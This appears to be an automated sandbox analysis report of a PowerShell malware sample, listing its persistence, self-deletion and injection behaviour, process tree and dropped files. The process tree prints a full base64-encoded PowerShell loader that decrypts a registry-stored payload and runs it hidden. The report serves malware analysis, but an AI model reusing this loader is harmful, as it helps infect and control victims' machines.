Resubmissions
08/08/2026, 04:54
260808-fjse4shq4x1008/08/2026, 04:51
260808-fg2k1a1ajb1008/08/2026, 03:02
260808-djn2ksbd3810Analysis
- max time kernel
148s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
08/08/2026, 03:02
General
- Target payload_decryp.ps1
- Size 20KB
- Sample260808-djn2ksbd38
- SHA256 03afc80755453b8b23d9f9e78d4ed1c269180d7053a675e43b1ac0cc0a9ef4a0
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Deletes itself 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\payload_decryp.ps11⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i402mmfe\i402mmfe.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1498.tmp" "c:\Users\Admin\AppData\Local\Temp\i402mmfe\CSC18883B6A77C4F32BE7BDBC951B33F6.TMP"3⤵
-
-
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" --headless cmd /c "C:\Users\Admin\AppData\Local\Temp\lfkabvaqjtq.cmd"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\lfkabvaqjtq.cmd3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nologo -nop -ep Bypass -EncodedCommand JABfAHIAdgA9ACgAZwBwACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABIAG8AcwB0AG4AbwBjAHAAdgBmAEIAYQBzAGUAJwAgAC0ARQBBACAAMAApADsAaQBmACgAJABfAHIAdgAgAC0AYQBuAGQAIAAkAF8AcgB2AC4AZAApAHsAJABfAGIAPQBbAGIAeQB0AGUAWwBdAF0AJABfAHIAdgAuAGQAOwAkAF8AawA9AFsAYgB5AHQAZQBbAF0AXQBAACgANgAxACwAMQA1ADIALAAyADAANwAsADcAMAAsADMANQAsADEANwAyACwAOAA4ACwAMQAzADgALAA3ADkALAAxADcAMQAsADEAMwA0ACwAMgAwADAALAAxADAAMgAsADkAOQAsADEAOAA4ACwAMQAyADUALAAyADAAMgAsADMANgAsADEAMAA4ACwAMgAzADUALAAyADYALAA2ADQALAAxADYANwAsADEAOQA1ACwANQAzACwAMgAwACwAMQAxADQALAAyADQANwAsADIANAA0ACwAMQA3ACwAMQA1ADIALAAxADgANgApADsAJABfAGsAMQA9ACQAXwBrAFsAMAAuAC4AMQA1AF0AOwAkAF8AawAyAD0AJABfAGsAWwAxADYALgAuADMAMQBdADsAJABfAHQAQgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACQAXwBiAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkALQBsAHQAJABfAGIALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAXwBzAGYAPQAoACQAXwBrADIAWwAkAGkAJQAkAF8AawAyAC4ATABlAG4AZwB0AGgAXQArACQAaQApACUAMgA1ADYAOwAkAF8AdgA9ACgAJABfAGIAWwAkAGkAXQAtACQAXwBzAGYAKQAlADIANQA2ADsAaQBmACgAJABfAHYAIAAtAGwAdAAgADAAKQB7ACQAXwB2ACsAPQAyADUANgB9ADsAJABfAHQAQgBbACQAaQBdAD0AJABfAHYAfQA7ACQAXwBzAHQAPQAwAC4ALgAyADUANQA7ACQAXwBqAD0AMAA7ADAALgAuADIANQA1AHwAJQB7ACQAXwBqAD0AKAAkAF8AagArACQAXwBzAHQAWwAkAF8AXQArACQAXwBrADEAWwAkAF8AJQAkAF8AawAxAC4ATABlAG4AZwB0AGgAXQApACUAMgA1ADYAOwAkAF8AdAA9ACQAXwBzAHQAWwAkAF8AXQA7ACQAXwBzAHQAWwAkAF8AXQA9ACQAXwBzAHQAWwAkAF8AagBdADsAJABfAHMAdABbACQAXwBqAF0APQAkAF8AdAB9ADsAJABfAHgAPQAwADsAJABfAHkAPQAwADsAZgBvAHIAKAAkAGkAPQAwADsAJABpAC0AbAB0ACQAXwB0AEIALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAXwB4AD0AKAAkAF8AeAArADEAKQAlADIANQA2ADsAJABfAHkAPQAoACQAXwB5ACsAJABfAHMAdABbACQAXwB4AF0AKQAlADIANQA2ADsAJABfAHQAPQAkAF8AcwB0AFsAJABfAHgAXQA7ACQAXwBzAHQAWwAkAF8AeABdAD0AJABfAHMAdABbACQAXwB5AF0AOwAkAF8AcwB0AFsAJABfAHkAXQA9ACQAXwB0ADsAJABfAGIAWwAkAGkAXQA9ACQAXwB0AEIAWwAkAGkAXQAtAGIAeABvAHIAJABfAHMAdABbACgAJABfAHMAdABbACQAXwB4AF0AKwAkAF8AcwB0AFsAJABfAHkAXQApACUAMgA1ADYAXQB9ADsAJABfAHMAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABfAGIAKQA7ACQAXwB0AG4APQAnAHMAYwByAGkAJwArACcAcAB0AGIAbABvACcAKwAnAGMAawAnADsAJABfAG0AbgA9ACcAQwByACcAKwAnAGUAYQB0AGUAJwA7ACQAXwB0AD0AWwB0AHkAcABlAF0AJABfAHQAbgA7AC4AIAAoACQAXwB0ADoAOgAkAF8AbQBuACgAJABfAHMAKQApAH0A4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qlx45w4u\qlx45w4u.cmdline"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES51CF.tmp" "c:\Users\Admin\AppData\Local\Temp\qlx45w4u\CSC51827814D5F4A4192594CF523F614.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
RES1498.tmp
RES51CF.tmp
i402mmfe.dll
lfkabvaqjtq.cmd
qlx45w4u.dll
CSC18883B6A77C4F32BE7BDBC951B33F6.TMP
i402mmfe.0.cs
i402mmfe.cmdline
CSC51827814D5F4A4192594CF523F614.TMP
qlx45w4u.0.cs
qlx45w4u.cmdline
memory/252-57-0x0000000008560000-0x0000000008BDC000-memory.dmp
memory/252-71-0x00000000073C0000-0x00000000073DC000-memory.dmp
memory/252-56-0x0000000007920000-0x0000000007EDA000-memory.dmp
memory/252-51-0x00000000060B0000-0x00000000060FC000-memory.dmp
memory/252-50-0x0000000006060000-0x000000000607E000-memory.dmp
memory/252-54-0x00000000065D0000-0x00000000065EA000-memory.dmp
memory/252-55-0x00000000065F0000-0x0000000006612000-memory.dmp
memory/252-43-0x00000000058D0000-0x00000000058F2000-memory.dmp
memory/252-70-0x00000000073A0000-0x00000000073A8000-memory.dmp
memory/252-53-0x0000000007020000-0x00000000070B6000-memory.dmp
memory/252-74-0x0000000007600000-0x000000000769C000-memory.dmp
memory/252-48-0x0000000005BB0000-0x0000000005F0B000-memory.dmp
memory/252-45-0x00000000059E0000-0x0000000005A46000-memory.dmp
memory/252-44-0x0000000005970000-0x00000000059D6000-memory.dmp
memory/252-76-0x0000000007F80000-0x0000000008012000-memory.dmp
memory/252-41-0x0000000004BB0000-0x0000000004BE6000-memory.dmp
memory/252-42-0x0000000005240000-0x000000000588A000-memory.dmp
memory/4312-15-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-39-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-35-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-34-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-32-0x000002BEFE820000-0x000002BEFE828000-memory.dmp
memory/4312-19-0x000002BEFEBC0000-0x000002BEFEBDE000-memory.dmp
memory/4312-18-0x000002BEFED70000-0x000002BEFEDE6000-memory.dmp
memory/4312-17-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-16-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-0-0x00007FFB132DF000-0x00007FFB132E0000-memory.dmp
memory/4312-14-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-13-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-12-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-11-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-10-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-9-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-8-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-7-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-6-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-5-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-1-0x00007FFB13150000-0x00007FFB13AF4000-memory.dmp
memory/4312-2-0x000002BEFE7A0000-0x000002BEFE7C2000-memory.dmp